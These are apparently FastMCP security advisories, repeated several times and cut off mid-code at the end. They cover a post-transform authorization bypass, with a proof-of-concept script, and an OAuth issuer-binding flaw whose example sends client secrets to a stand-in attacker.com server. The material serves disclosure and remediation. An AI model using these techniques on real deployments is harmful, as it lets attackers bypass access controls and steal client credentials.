Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
